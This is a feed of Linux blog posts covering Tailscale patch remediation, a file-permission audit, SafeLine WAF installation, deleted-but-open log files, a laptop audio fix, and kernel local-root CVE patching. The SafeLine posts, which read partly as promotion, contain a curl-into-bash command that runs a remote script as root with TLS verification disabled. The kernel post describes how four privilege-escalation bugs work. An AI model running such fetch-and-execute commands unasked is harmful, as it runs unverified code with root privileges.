Coder Legion - Recent posts tagged linux

Tailscale 1.104.4 Patches Four SSH and Serve Bulletins: How to Remediate

Fri, 30 Oct 2026 03:58:00 +0000

Tailscale SSH is a popular feature in homelab setups because it lets you ditch traditional SSH key management entirely and lean on your Tailnet's identity model instead. That makes the recent security investigation and remediation update worth paying close attention to, even if your deployment is small.

Tailscale published an investigation and remediation update covering a vulnerability in the Tailscale SSH feature. The short version: under certain conditions, an already authorized Tailscale SSH session could perform actions beyond the permissions of its configured local user. Tailscale published four bulletins dated 26 October 2026, TS-2026-014 through TS-2026-017, and fixed all four in client version 1.104.4, released on 28 October 2026. No CVE identifiers were assigned. Tailscale is explicit that authentication and access policy checks were not what failed, so this is a privilege escalation after authorization, not an ACL bypass. This post breaks down what that means for a homelab operator and what you should do right now.

💡 Why This Matters for Homelab Users

Tailscale SSH is attractive precisely because it ties SSH authorization to your Tailnet ACLs. You define who can reach which machine and on which user, and Tailscale enforces it. In this case that authorization layer held: the tailnet policy file still gated which users could reach which machines, and an unauthenticated attacker could not connect to arbitrary Tailscale SSH servers. What failed was the privilege boundary enforced after a session was authorized, which is how an authorized user could reach root only Unix sockets through SSH forwarding.

Homelab deployments often have a mix of machines: NAS boxes, Proxmox hosts, Raspberry Pis, LXC containers. If Tailscale SSH is enabled broadly across those nodes, any privilege escalation in that path is a serious concern. Note the precondition that narrows it: TS-2026-014, the most serious of the four, only applies where your SSH access policy permits local or remote port forwarding. The good news is that Tailscale shipped the fix in 1.104.4 and the remediation steps are straightforward.

🧰 Prerequisites

Tailscale installed on your nodes (check tailscale version to confirm your current version)
Access to your Tailscale admin console at login.tailscale.com/admin
SSH or console access to each affected machine to run the upgrade
Familiarity with your distro's package manager (apt, yum, pacman, etc.)

🔍 What the Vulnerability Was

According to Tailscale's bulletins, there were four issues, not one. Two affect Tailscale SSH: TS-2026-014, where Unix socket forwarding could give peers access to root only sockets, and TS-2026-015, where an authenticated peer could drive unbounded memory growth in tailscaled and cause a denial of service. Two affect Tailscale Serve: TS-2026-016, where Serve Unix backends could reach privileged sockets including the tailscaled local API socket, and TS-2026-017, a race condition that could send Tailscale-App-Capabilities values from one mount to requests for another. None of them affect the core WireGuard tunnel or standard SSH setups that only use Tailscale for networking. Machines running the Tailscale SSH server, or using Serve with TLS and multiple mounts, were the ones at risk.

The attack surface required an authenticated Tailnet peer, so this was not an open internet exposure. That said, in a shared or multi-user Tailnet, or any environment where you do not fully control every peer, that distinction matters less than it sounds. Always treat a privilege escalation in an access control path as a serious issue regardless of the required preconditions.

For the exact technical details of the vulnerability, including the four bulletins TS-2026-014 through TS-2026-017 and the fixed version 1.104.4, see tailscale.com/security-bulletins and the write up at tailscale.com/blog/tailscale-ssh-findings-fixes. No CVE identifiers were assigned to these bulletins, so do not go looking for one. The investigation timeline is at tailscale.com/ssh-investigation-update. Tailscale's write-up is the authoritative source and may be updated as the investigation continues.

🛡️ Remediation Steps

The primary fix is upgrading the Tailscale client to the patched version on every node where Tailscale SSH is enabled. Do this on all machines in your Tailnet, not just the ones you think are "important."

Step 1: Check your current Tailscale version on each node.

tailscale version

Step 2: Update Tailscale using your distro's package manager. On Debian or Ubuntu-based systems:

sudo apt update && sudo apt install tailscale

On RPM-based systems (Fedora, Rocky, AlmaLinux):

sudo dnf upgrade tailscale

On Arch Linux:

sudo pacman -Syu tailscale

Step 3: Restart the Tailscale daemon after upgrading to make sure the new version is fully active.

sudo systemctl restart tailscaled

Step 4: Confirm the updated version is running.

tailscale version

You need 1.104.4 or newer on every node. Cross-reference the output against that before moving on.

Step 5: If you cannot immediately upgrade a node, Tailscale's own recommended mitigation is to disable SSH forwarding, not to disable Tailscale SSH. Set TS_SSH_DISABLE_FORWARDING=1 in the tailscaled service environment and restart the service. That addresses TS-2026-014, the most serious of the four, and it leaves Tailscale SSH working. Tailscale explicitly does not recommend disabling Tailscale SSH entirely. Also review your SSH access policy so only the users and devices that need access have it. If you nonetheless want to turn Tailscale SSH off on a node, the command is:

sudo tailscale set --ssh=false

This disables the Tailscale SSH feature on that node while leaving your normal Tailscale network connectivity intact. You can still reach the machine over your Tailnet and use traditional SSH on port 22 with your existing keys.

🔧 Audit Your ACL Policy While You Are At It

Incidents like this are a good forcing function to review your ACL policy in the admin console. A few things worth checking:

Are you granting Tailscale SSH access only to specific users and specific destination tags, rather than using wildcard rules?
Do you have checkPeriod set on your SSH rules, alongside a check action, so that re-authentication is required after a defined interval? The field is camelCase, it only applies to check actions, and the default is 12 hours.
Are there any old test rules or overly broad grants you added and forgot about?
Are your node tags accurate and not applied to machines they should not cover?

The principle of least privilege applies just as much to Tailscale ACLs as it does to anything else. Tighter rules mean a smaller blast radius if something like this happens again.

🔧 Troubleshooting

Tailscale is not in my distro's default repo. If you installed Tailscale from the official Tailscale repo (which is the recommended method), the apt or dnf commands above will pull from that repo automatically. If you installed it another way, check the Tailscale download page for your platform's update instructions.

I am running Tailscale in Docker. Pull the latest image tag from the official Tailscale Docker image and redeploy your container. Check the image's release notes or Tailscale's changelog to confirm the patched version is included before pulling.

I am running Tailscale on a Raspberry Pi or other ARM device. The standard package manager update commands work the same way on ARM. Confirm tailscale version reflects the patched release after upgrading.

Making the change persist. Preferences changed with tailscale set are stored in the node's state and survive a reboot. tailscale up behaves differently: its flags are not persisted between runs, so you must pass every flag you want on each invocation, which is exactly why tailscale set is the right command for flipping one preference. If you are applying the TS_SSH_DISABLE_FORWARDING=1 mitigation, put it in a systemd drop-in for tailscaled so the variable survives a restart.

✅ Wrap Up

Tailscale SSH is a genuinely useful feature that simplifies access management across a homelab. But convenience features that sit in the authentication path need to be kept patched and configured tightly. The remediation here is low friction: update the client, restart the daemon, verify the version.

If you cannot patch right now, set TS_SSH_DISABLE_FORWARDING=1 on tailscaled and tighten your SSH access policy to the users and devices that genuinely need it. That is Tailscale's own recommended interim state, and it keeps Tailscale SSH working rather than forcing you back onto key management. If you run headscale rather than Tailscale's coordination server, be aware that the related headscale issues were reported as still unpatched at the time of writing, so updating the client alone may not cover you. Once you are patched, take a few minutes to audit your ACL policy and tighten any rules that are broader than they need to be. That work pays dividends the next time something like this surfaces.

For the full technical disclosure and any updates to the investigation, keep an eye on tailscale.com/ssh-investigation-update.

Originally published at codewithromi.com.

Finding the world-writable files on your server before someone else does

Thu, 29 Oct 2026 13:00:00 +0000

A world-writable file can be rewritten by every account on the machine — including the service account your web server runs as. Code executing as www-data through a compromised plugin doesn't need root: any chmod 777 you left behind during past debugging is a file it can overwrite or replace outright.

Two details break most homegrown audits. First, find -perm 777 (no dash) matches mode 777 exactly — a 666 file is equally world-writable and slips through. The dash form uses mask semantics and catches every file with the other-write bit set. Second, never fix findings with chmod -R 644: on directories, the execute bit means "may be entered," and stripping it recursively seals off the whole tree. Split the fix by type instead:

find /var/www -type f -perm -o+w 2>/dev/null
find /var/www -type f -exec chmod 644 {} \;
find /var/www -type d -exec chmod 755 {} \;

SSH keys and secrets go tighter, to 600 — OpenSSH refuses group- or world-readable private keys outright.

I keep the longer version as a script with a saved report file, a SUID scan, and a recommended-modes reference: full file-permissions security audit script.

How to Install a WAF with the Official Linux Manager Script on a Checked Host

Thu, 29 Oct 2026 04:37:18 +0000

A self-hosted web application firewall only helps after it is actually running in front of the origin. SafeLine is a self-hosted WAF that filters and monitors HTTP traffic between a web application and the Internet, and the install guide treats one published command as the recommended automatic path. This article follows that path only: check the Linux host against the documented dependencies, run the official manager script as root, open the web console, and then place an application behind the reverse proxy. It does not invent extra flags, custom ports, or a separate uninstall switch for that script.

The product introduction describes SafeLine as a reverse-proxy shield. Clients pass through the WAF before they reach the server. It filters, monitors, and blocks malicious HTTP and HTTPS traffic, and it is described as preventing unauthorized data from leaving the application by applying policy. The same page lists typical coverage for SQL injection, XSS, code injection, OS command injection, CRLF injection, LDAP injection, XPath injection, RCE, XXE, SSRF, path traversal, backdoor, brute force, HTTP flood, and bot abuse. Named core capabilities are web-attack defense, proactive bot-abuse defense, HTML and JavaScript code encryption, IP-based rate limiting, and a web access control list. The feature list also describes rate limiting against denial of service, brute force, traffic surges, and other abuse; CAPTCHA challenge; authentication challenge; and dynamic protection that encrypts HTML and JavaScript on each visit. Those controls are configured after installation. They are not arguments to the manager script. See the SafeLine introduction for that capability list.

The install guide states the host requirements before either install method. The operating system must be Linux. The instruction architecture must be x86_64 or arm64. Docker must be version 20.10.14 or above, and Docker Compose must be version 2.0.0 or above. The minimum environment is 1 CPU core, 1 GB of memory, and 5 GB of disk. The CPU must support the ssse3 instruction. The same page publishes these confirmation commands:

uname -m
docker version
docker compose version
cat /proc/cpuinfo | grep "processor"
free -h
df -h
lscpu | grep ssse3

A missing dependency is a reason to stop. The automatic section does not document switches for architecture, a custom data directory, a custom console port, or an LTS release. Those choices appear in the manual compose section, where you create a SafeLine directory, download compose.yaml, and write .env. If the server is ARM, that manual section states that SafeLine installed on ARM requires a Pro license to work properly and that the Personal Edition is not supported on ARM. Nothing in the automatic command says the manager script waives that constraint, so an ARM host should be treated as a licensing decision before you install.

When the checks match the guide, the recommended automatic command is the official manager script. It requires root privileges:

bash -c "$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)" -- --en

The deploy page says that after this command is executed, installation has succeeded, and you should go directly to the web UI. Open https://<safeline-ip>:9443/ in a browser. The initial administrator account is obtained with a separate documented command:

docker exec safeline-mgt resetadmin

On success, the guide shows an initial username of admin, an initial password, and a reminder to keep that output. Log in with that password. Do not assume the script printed a durable account record anywhere else.

A running console is not the same as a protected site. The application guide says SafeLine is a web application firewall developed based on nginx and that it works as an HTTP and HTTPS reverse proxy. It receives traffic for the original website, cleans malicious traffic, and forwards the remaining traffic to the original application. In the web admin console, open Applications and choose Add Application. Enter the domain, hostname, or IP address of the original app; the port SafeLine will listen on, such as 80 or 443; and the upstream address used to forward traffic. For an HTTPS app, check the SSL option. Then resolve the domain you entered to the IP address of the server where SafeLine is located. Until that resolution exists, the path described in the guide is not in place.

Verification belongs on an application you control. The application guide names SQL injection, XSS, path traversal, code injection, and XXE as sample attack classes, and it says a blocking page means the attack was defended. The web console attack list, including the detail view, is where that guide says to inspect what was recorded. One blocked request does not configure rate limiting, CAPTCHA challenge, authentication challenge, or dynamic protection. Those remain separate features described in the introduction.

Keep the manual route in reserve rather than mixing it into the script. The install guide documents a directory such as /data/safeline, a requirement of at least 5 GB of disk for that directory, a downloaded compose file, environment variables, secret generation, permission steps, and docker compose up -d. It also documents uninstall as entering the SafeLine directory, running docker compose down, and then removing that directory, only when you are sure you no longer want to use SafeLine. Those are manual steps. They are not published as manager-script options. If you set RELEASE to the LTS value in the manual file, the same page says the LTS version will no longer be maintained starting from 9.1.0-LTS on 14 August 2025, and it strongly recommends that LTS users upgrade to the latest version.

The supported order is therefore short. Match Linux, architecture, Docker, Docker Compose, ssse3, memory, and disk to the install guide. Run the official manager script with root. Open the console on port 9443 and reset the admin account with the documented container command. Add the application, point the domain at the SafeLine server, and confirm blocks in the console. That is how to install this WAF with the official Linux manager script without adding steps the deploy page does not publish.

What does the official manager script require?

The install guide marks automatic deployment as recommended and says the command requires root privileges. It also requires Linux, x86_64 or arm64, Docker 20.10.14 or above, Docker Compose 2.0.0 or above, a CPU with ssse3, and at least 1 CPU core, 1 GB of memory, and 5 GB of disk. Run the published check commands before the installer.

Does a finished script mean the site is already protected?

No. The deploy page says a completed command means installation succeeded and that you should use the web UI. The application guide says protection is the reverse-proxy setup: add the application, set domain, listen port, and upstream, check SSL for HTTPS, and resolve the domain to the SafeLine server IP.

Where is the first console password documented?

Open https://<safeline-ip>:9443/ and run docker exec safeline-mgt resetadmin. The install guide says a successful run shows the initial username admin and an initial password, and it tells you to remember that content before you log in.

When is the manual compose path the documented alternative?

Use the manager script for the recommended automatic install. Use the manual section when you need the published compose workflow, including the SafeLine directory, compose.yaml, .env values, generated secrets, and docker compose up -d. On ARM, that section states that a Pro license is required and that the Personal Edition is not supported.

Which settings are outside the automatic command?

The automatic section does not publish a custom console port, an LTS switch, token generation, console proxy layers, or an uninstall flag. ARCH_SUFFIX, RELEASE, MGT_PORT, and related variables are documented in the manual .env instructions. Uninstall is docker compose down in the SafeLine directory, followed by removal of that directory.

SafeLine has surpassed 700,000 installations worldwide as of September 30, 2026. SafeLine Pro annual promotional pricing is $650-$880, compared with the regular $1,000 per year.

SafeLine website: https://ly.cyberserval.tech/MqhYdmI
Demo: https://demo.waf.chaitin.com:9443/statistics
Official docs: https://docs.waf.chaitin.com/en/home
GitHub: https://github.com/chaitin/SafeLine
Pro offer: https://cyberserval.tech/landing/lto

Why I Check the Host Before the Official Linux WAF Manager Script

Thu, 29 Oct 2026 04:36:46 +0000

A one-line installer is useful only when the host underneath it already matches the product's documented requirements. SafeLine's English deploy guide marks automatic installation as the recommended path, and that path is the official Linux manager script. I still refuse to paste the script into a shell as my first action. The same page lists operating system, architecture, container runtime, memory, disk, and CPU checks before the install command. Those checks are the install, in practice. The script is the commit step.

SafeLine is a self-hosted web application firewall. Placed in front of a web application, it filters and monitors HTTP traffic between the application and the Internet. The introduction describes it as a reverse proxy: clients pass through the WAF before they reach the server, which limits direct exposure of the origin. Documented attack coverage includes SQL injection, XSS, code injection, OS command injection, CRLF injection, LDAP injection, XPath injection, RCE, XXE, SSRF, path traversal, backdoor, brute force, HTTP flood, and bot abuse. Listed core capabilities are defenses for web attacks, proactive bot-abuse defense, HTML and JS code encryption, IP-based rate limiting, and a web access control list. The feature list also includes CAPTCHA challenge, authentication challenge, and dynamic protection that encrypts HTML and JS on each visit. I cite those capabilities from the product introduction at https://docs.waf.chaitin.com/en/home so the install decision stays tied to what the WAF is actually documented to do. Installation does not turn those controls on for a site by itself.

Before the manager script, I confirm the dependency table in the deploy guide at https://docs.waf.chaitin.com/en/GetStarted/Deploy. The operating system must be Linux. The instruction architecture must be x86_64 or arm64. Docker must be version 20.10.14 or above. Docker Compose must be version 2.0.0 or above. The minimum environment is 1 core of CPU, 1 GB of memory, and 5 GB of disk. The CPU must provide the ssse3 instruction. The guide publishes the confirmation commands, and I run them rather than trusting a panel screenshot: uname -m, docker version, docker compose version, cat /proc/cpuinfo | grep "processor", free -h, df -h, and lscpu | grep ssse3. A host that fails any line is not ready. I do not lower the documented floor to make the script fit a smaller VM.

The recommended automatic command, which requires root privileges, is bash -c "$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)" -- --en. I copy that command from the deploy guide and I do not append undocumented options. The guide's success criterion is narrow and useful: after the command is executed, the installation is successful, and the next instruction is to use the web UI directly. I treat a clean exit as proof that the instance was installed, not as proof that the origin is protected. If the command fails, I return to the dependency checks and the installation FAQ linked from that page instead of retrying with guessed flags.

The documented console address is https://<safeline-ip>:9443/. In the manual environment file the management port variable MGT_PORT is set to 9443, which matches that URL. To obtain the administrator account, the guide says to run docker exec safeline-mgt resetadmin. A successful execution prints the initial username admin, an initial password, and a done line. The password belongs to that instance. I record it before closing the session, then log in with that password.

Login is still only console access. Application protection is a separate procedure, documented at https://docs.waf.chaitin.com/en/GetStarted/AddApplication. SafeLine is described there as a web application firewall developed based on nginx. It receives traffic for the original website, cleans malicious traffic, and forwards safe traffic upstream. In the web admin console I open Applications and choose Add Application. Domain accepts a domain name, a hostname, or an IP address. Port is the port SafeLine will listen on, such as 80 or 443, and HTTPS applications need the SSL option checked. Upstream is the real address of the original application. After saving, I resolve the entered domain to the IP of the server where SafeLine runs. The same page publishes sample requests for SQL injection, XSS, path traversal, code injection, and XXE. A blocking page means the attack was defended. Details are in the console attack list.

I keep manual compose as the documented alternative, not as a second opinion from an unrelated guide. Manual deploy installs Docker if needed with the published Docker install command, creates /data/safeline, requires at least 5 GB there, downloads compose.yaml, writes .env, generates a 64-character hex detector management token, a 64-character hex management internal token, and a 16-character alphanumeric detector AES key, restricts .env to mode 600, prepares runtime directories, and starts the stack with docker compose up -d. That is the path I use when I must set SAFELINE_DIR, IMAGE_TAG, MGT_PORT, POSTGRES_PASSWORD, SUBNET_PREFIX, IMAGE_PREFIX, ARCH_SUFFIX, RELEASE, REGION, or MGT_PROXY myself. MGT_PROXY is documented as the number of console proxy layers and should only be used when configuring a proxy for the console. The default is 0, meaning no proxy is configured.

Two manual settings change the decision even if the manager script is otherwise attractive. On an ARM server the guide says to set ARCH_SUFFIX to -arm and to use the ARM Postgres image. It also states that SafeLine installed on ARM requires a Pro license to work properly, and that the Personal Edition is not supported on ARM. I confirm edition and architecture before I install, because a successful container start is not the same statement as a supported edition. For the LTS line, RELEASE is set to -lts. The guide states that the LTS version will no longer be maintained starting from 9.1.0-LTS (14 August 2025), and that LTS users are strongly recommended to upgrade to the latest version. If there are concerns about a new release, the same note recommends upgrading one month after that release. For a first host I stay on the latest recommended automatic install unless I have a specific reason to select LTS and accept that maintenance status.

Uninstall is also explicit, and it is destructive. Enter the SafeLine directory, run docker compose down, then remove the directory with rm -rf only when you are sure you no longer want to use SafeLine. I do not use that sequence to reset a host that failed the ssse3 or disk check. Those failures should be fixed, or the install should be abandoned, before any data directory exists.

The manager script is the right Linux install path when the dependency table already passes, root is available, and I do not need to override the environment variables that only the manual page documents. It is the wrong moment to experiment when architecture, license edition, disk, or Docker version is still unknown.

What does the official manager script require on Linux?

The automatic command requires root. The host must already meet the published minimums: Linux, x86_64 or arm64, Docker 20.10.14 or above, Docker Compose 2.0.0 or above, 1 CPU core, 1 GB of memory, 5 GB of disk, and ssse3. I verify those with the commands in the deploy guide before I run the script.

Is the web console available as soon as the script finishes?

The deploy guide says a completed command means the installation succeeded and that you should open the web UI. The documented console URL is https://<safeline-ip>:9443/. You still need the administrator password from docker exec safeline-mgt resetadmin before login will succeed.

Does installation alone proxy my existing site?

No. You must add an application in the console, set domain, listen port, and upstream, and resolve that domain to the SafeLine server. Until that forwarding path exists, the origin is not behind the WAF described in the configuration guide.

Should an ARM host use the same one-line install without extra review?

Review the ARM notes first. The deploy guide says an ARM install must use the ARM architecture suffix and ARM Postgres image in the manual environment, and that SafeLine on ARM requires a Pro license. The Personal Edition is not supported on ARM.

How do I remove a test install without leaving the stack running?

From the SafeLine directory, run docker compose down. If you are certain you no longer want the product or its data, remove that directory with rm -rf. Do this only after you have exported anything you still need, because the documented removal deletes the directory.

SafeLine has surpassed 700,000 installations worldwide as of September 30, 2026. SafeLine Pro annual promotional pricing is $650-$880, compared with the regular $1,000 per year.

SafeLine website: https://ly.cyberserval.tech/MqhYdmI
Demo: https://demo.waf.chaitin.com:9443/statistics
Official docs: https://docs.waf.chaitin.com/en/home
GitHub: https://github.com/chaitin/SafeLine
Pro offer: https://cyberserval.tech/landing/lto

The log was deleted. Its 48M was still allocated.

Wed, 28 Oct 2026 13:00:00 +0000

A 64M scratch tmpfs, a worker process holding its log open on file descriptor 3, and the usual reflex when space runs low: rm the log. du on the directory dropped from 48M to 0. df stayed at 48M used. The next 32M write failed with No space left on device, and df read 100% while du found only the 16M that had been written.

rm removes a name. The kernel frees the blocks only when no names are left and no process has the file open, and the worker still had it open. lsof +L1 lists exactly those files:

$ lsof -w +L1 /srv
COMMAND    PID USER FD   TYPE DEVICE SIZE/OFF NLINK NODE NAME
sleep   608657 root 3w   REG   0,78 50331648     0    3 /srv/app/worker.log (deleted)
exit=0

NLINK 0, (deleted), 48M held for writing by PID 608657. Truncating through the process's own descriptor, : > /proc/608657/fd/3, took df back to 25% while the process kept running.

Next time, empty a live log with : > file instead of deleting it. With an append-mode writer (>>) that is clean. A writer that opened with > keeps its old offset: in the same test, its log came back as a 17M sparse file with 1.0M on disk.

Finding which process holds a port or a busy mount, plus a script that groups deleted-but-open files and totals them, is on the lsof command examples page.

From Silence to Sound: Fixing Audio on Ubuntu Linux on my Samsung Galaxy Book

Mon, 26 Oct 2026 19:05:37 +0000

Over four days. That’s how long I spent trying to get the internal speakers on my Samsung Galaxy Book2 (NT950XDA) to produce a single sound after switching from Windows to Ubuntu.

And I wasn’t alone.

The Problem

Right out of the box, Ubuntu (even the latest 24.04) doesn’t play well with the Realtek ALC298 audio codec on many Samsung Galaxy Book devices. Headphones might work, but internal speakers remain silent due to uninitialized smart speaker amps.

I found myself crawling through obscure forum posts, GitHub issues, and deep dmesg logs. I came across broken workarounds, kernel parameters, even dead-end firmware downloads. Nothing stuck — until I discovered a promising thread from the Manjaro community and a early work of @joshuagrisham.

The Breakthrough

The answer turned out to be hda-verb, a tool for sending manual codec commands to initialize the amp. After copying dozens of lines of hda-verb commands into a script and running it manually, audio finally burst through my speakers.

It worked—but only until the next reboot.

The Automation

That’s when I decided to build a real solution:

Auto-run the fix at boot and after resume
Avoid breaking any existing audio setups
Use systemd services for reliability
Keep it simple, safe, and open source

The Tool: galaxybook-linux-setup

Now available on GitHub: https://github.com/topzyray/galaxybook-linux-setup

Features:

Initializes smart speaker amps via hda-verb
Runs fix on boot + resume using systemd
Disables PulseAudio's suspend-on-idle to prevent speaker freezing
Backs up existing config files to avoid damage
⚙️ Detects your current user and system safely
MIT-licensed, contributions welcome

Installation is as easy as:

git clone https://github.com/topzyray/galaxybook-linux-setup.git
cd galaxybook-linux-setup
chmod +x install.sh
./install.sh

Reboot when prompted, and you’re done. No more silent boots.

Who This Might Helps

Galaxy Book2 NT950XDA users or other device with similar issue or device/driver info
Anyone with Realtek ALC298 codec and no speaker output
Linux newcomers switching from Windows
Ubuntu/Mint/Pop_OS/Manjaro users on 5.8+ kernels though I tested on 6.14.

Credit Where Due

Joshua Grisham @joshuagrisham – GitHub
Community post from user @drlucas – Manjaro Forum
Access hda-ver used here

The Bigger Picture

This project reminded me why open source matters. Without the knowledge of those before me, I’d still be rebooting into silence.

Now, I’m extending this to include fingerprint readers, screen brightness fixes, and more for Galaxy Book users and I will also be testing on other devices. Please you can test too.

NOTE: The script does not delete any file rather it create a backup whenever updating an existing file.

Have a similar issue? Found this useful? Contribute, fork, share, or open an issue!

Repo: https://github.com/topzyray/galaxybook-linux-setup

If you have further question, suggestion or observations please leave them in the comment section. Thank you for reading.

Patch These Four Linux Kernel Local Root Vulns Now: DirtyAH6, PPPoEject, TUNderflow, and DiagSpill

Sun, 25 Oct 2026 23:46:09 +0000

Originally published at codewithromi.com.
Four Linux kernel vulnerabilities went public on 18 September 2026, and they are the kind you should not sit on. DirtyAH6 (CVE-2026-80844), PPPoEject (CVE-2026-68121), TUNderflow (CVE-2026-81000) and DiagSpill (CVE-2026-74469) are all local privilege escalation bugs, meaning an attacker or malicious process with a foothold on your machine can escalate to root. Working proof of concept exploits for all four are public. If you are running Proxmox, a Raspberry Pi, or any self-hosted Linux node, this is a patching weekend.

Security researcher Asim Manizada reported the four bugs in mid July 2026 and published a technical write-up plus working exploits on 18 September 2026, after a coordinated hold so distributions could ship fixes first. The oss-security post and the accompanying write-up carry the per-CVE detail. Upstream, the earliest stable releases that contain all four fixes are 5.10.270, 5.15.221, 6.1.188, 6.6.157, 6.12.109, 6.18.50 and 7.2.4. Note that the 7.0 series reached end of life on 27 June 2026, so a 7.0 kernel only carries these fixes if your vendor backported them.

💡 Why This Matters for Homelabbers

Local root exploits are often dismissed as "low risk" because they require existing access. That framing misses the threat model for homelabs and self-hosted infrastructure. If any service you run gets compromised, a web app, an LXC container with a shared kernel, or even a rogue package, a local root bug turns that into full node ownership.

Proxmox LXC containers share the host kernel. A container breakout combined with a local priv-esc is a realistic attack chain. Raspberry Pi nodes running exposed services are in the same boat. Patch the kernel, then verify.

🧰 Prerequisites

SSH or console access to each node
sudo or root privileges
A maintenance window, since patching requires a reboot
Proxmox nodes: access to the Proxmox web UI or CLI for VM/container shutdown sequencing

🔧 Step-by-Step: Patching Your Nodes

Step 1: Check your current kernel version on every node so you know what you are starting from.

uname -r

Note this output. You will compare it after the update to confirm the new kernel is running.

Step 2: Update your package index and apply all available security updates. On Debian and Ubuntu based systems, including Proxmox and Raspberry Pi OS:

sudo apt update && sudo apt full-upgrade -y

On Proxmox specifically, you also want to pull from the Proxmox repositories. If you are on the no-subscription repo, this is already covered by the command above. Run pveversion -v afterward to confirm the Proxmox packages are current too.

Step 3: If you are running Raspberry Pi OS, check the kernel package by its current name. On Bullseye and earlier the kernel shipped in the raspberrypi-kernel package, but Raspberry Pi OS moved to Debian style linux-image-rpi-* packages with Bookworm, so on a current install you want linux-image-rpi-v8 or linux-image-rpi-2712 depending on the board. The apt full-upgrade command above will still catch it, but confirm with:

On Bookworm and newer:

apt-cache policy linux-image-rpi-v8

On Bullseye and older:

apt-cache policy raspberrypi-kernel

The "Installed" and "Candidate" versions should match after your upgrade. If they do not, run the upgrade again.

Step 4: Reboot to load the new kernel. This is not optional. The running kernel in memory is still the old one until you reboot.

sudo reboot

For Proxmox hosts, shut down or migrate your VMs and containers before rebooting the host. Use the Proxmox web UI, or list what is running:

qm list
pct list

Then shut down each VM or container by its ID:

qm shutdown [vmid]
pct shutdown [ctid]

Step 5: After the reboot, confirm the new kernel is loaded:

uname -r

The version string should be newer than what you recorded in Step 1. Cross-reference it against your distro's security advisory to confirm the patched version is in place. For Debian, check security-tracker.debian.org. For Ubuntu, check ubuntu.com/security/notices. For Raspberry Pi OS, check the Raspberry Pi blog and release notes.

🛡️ Patch Status, Checked 29 September 2026

This is the part of the post that goes stale fastest, so here is a dated snapshot. Everything below was checked against the Debian security tracker, the Ubuntu CVE tracker and the Proxmox kernel changelog on 29 September 2026. Re-check before you decide you are covered.

Debian 13 trixie: all four first fixed in linux 6.12.111-1, shipped as DSA-6528-1.
Debian 12 bookworm: DirtyAH6, PPPoEject and DiagSpill first fixed in linux 6.1.187-1 from bookworm-security. TUNderflow is the exception. The Debian tracker still lists bookworm as vulnerable, 6.1.187-1 included, so there is no fix for CVE-2026-81000 on bookworm yet.
Ubuntu 22.04, 24.04 and 26.04: at the time of this check the Ubuntu CVE tracker showed no released kernel for any of the four on the main linux packages. They sit at needed or pending. Watch ubuntu.com/security/notices instead of assuming an upgrade fixed it.
Proxmox VE: the Proxmox kernel changelog names only TUNderflow, first fixed in proxmox-kernel-7.0 version 7.0.14-19, released 18 September 2026. The newest build at the time of checking was 7.0.14-20 from 24 September 2026. The other three CVEs are not named anywhere in that changelog, and the Proxmox 7.0 kernel follows the Ubuntu kernel, which has not released them, so do not assume DirtyAH6, PPPoEject and DiagSpill are closed on a Proxmox host. Run pveversion -v and compare against the changelog.
Raspberry Pi OS: no Raspberry Pi OS kernel build carrying all four fixes could be confirmed at the time of this check. On the 6.12 branch you need 6.12.109 or newer for the full set, so check the installed package version rather than assuming.

🛡️ What Each Vulnerability Affects

Here is what each bug actually is, taken from the disclosure and the researcher's write-up. Three of the four need CAP_NET_ADMIN in a network namespace the attacker controls, which an ordinary local user obtains by creating an unprivileged user namespace first. DiagSpill is the exception and needs no special privileges at all.

DirtyAH6 (CVE-2026-80844): The IPv6 Authentication Header code in the IPsec and XFRM path does not check that a routing header's segments_left field is no larger than the number of addresses actually present, so pointer arithmetic in ipv6_rearrange_rthdr() walks out of bounds and an oversized memmove() corrupts kernel memory. It needs AH6 and XFRM support plus CAP_NET_ADMIN and CAP_NET_RAW in a namespace the attacker controls. The researcher also reports a remote crash, and in his own lab remote root, against a host acting as an IPv6 router that applies AH in transport mode.
PPPoEject (CVE-2026-68121): A use after free in pppoe_sendmsg(). The function holds a pointer into the socket buffer head across a dev_hard_header() callback that can reallocate that head, then writes six bytes through the stale pointer. It needs a lower device whose header callback expands the buffer head, not merely a loadable PPPoE module, which makes it the narrowest of the four in practice.
TUNderflow (CVE-2026-81000): The TUN/TAP driver stores a receive headroom value without bounding it. A device path that propagates oversized headroom (the proof of concept chains a netkit device through Open vSwitch to a raw TUN port) underflows a size calculation and leaves packet data 64 bytes past the end of the allocation. Simply having a TUN or TAP interface is not enough, you need that headroom propagation path. Worth correcting a common assumption here: Docker's default bridge networking uses veth pairs rather than TUN/TAP, and the in kernel WireGuard module is its own device type, so the usual homelab exposure is QEMU tap interfaces and OpenVPN style TUN devices, not containers.
DiagSpill (CVE-2026-74469): An SCTP association can hold up to 65,536 peer transports but the counter is 16 bits wide, so it wraps to zero at the limit. sctp_diag then reserves buffer space based on the wrapped count and copies the full transport list anyway, writing roughly 8 MiB past the end of the response buffer. This one needs no capabilities and no user namespace, only SCTP and sctp_diag support, which is what makes it the priority of the four.

DiagSpill is the one to move fastest on if you are triaging. It is the only one of the four that an ordinary local user can reach without creating a user namespace, which also means the usual advice to restrict unprivileged user namespaces does nothing for it. If you do not need SCTP, keep the module out of the kernel.

🛡️ Hardening Beyond the Patch

Patching is the fix, but a few additional controls reduce your exposure, which matters more than usual here because some distributions have not shipped all four yet. Restricting unprivileged user namespaces closes the ordinary user path to three of the four. It does nothing for DiagSpill.

Restrict unprivileged user namespaces: Three of these four bugs need a user namespace for an ordinary local user to reach them. Ubuntu introduced AppArmor based restrictions in 23.10 and enabled them by default from 24.04, controlled by kernel.apparmor_restrict_unprivileged_userns, so 24.04 and 26.04 are covered out of the box. Debian is not. The Debian and Ubuntu specific kernel.unprivileged_userns_clone knob has been discussed for deprecation, so confirm it exists on your kernel with sysctl -a | grep userns before relying on it; the portable upstream equivalent is sysctl -w user.max_user_namespaces=0. Either way you will break things that legitimately use user namespaces, including Flatpak, rootless containers and browser sandboxes.
Use AppArmor or SELinux profiles: Proxmox ships with AppArmor. Make sure it is enforcing for your LXC containers. Unprivileged containers with AppArmor confinement are significantly harder to break out of.
Limit local access: Do not run untrusted code or expose shell access to untrusted users on these nodes. Local privesc only matters if someone or something local can trigger it.
Unload unused kernel modules: If you are not using PPPoE or SCTP, keep both out. Add blacklist pppoe and blacklist sctp to a file in /etc/modprobe.d/ and run update-initramfs -u. Blacklisting stops the on demand autoload that a socket call would trigger, and for DiagSpill that is the only mitigation short of patching, since restricting user namespaces does not touch it. Verify with lsmod | grep -E 'pppoe|sctp' afterwards.

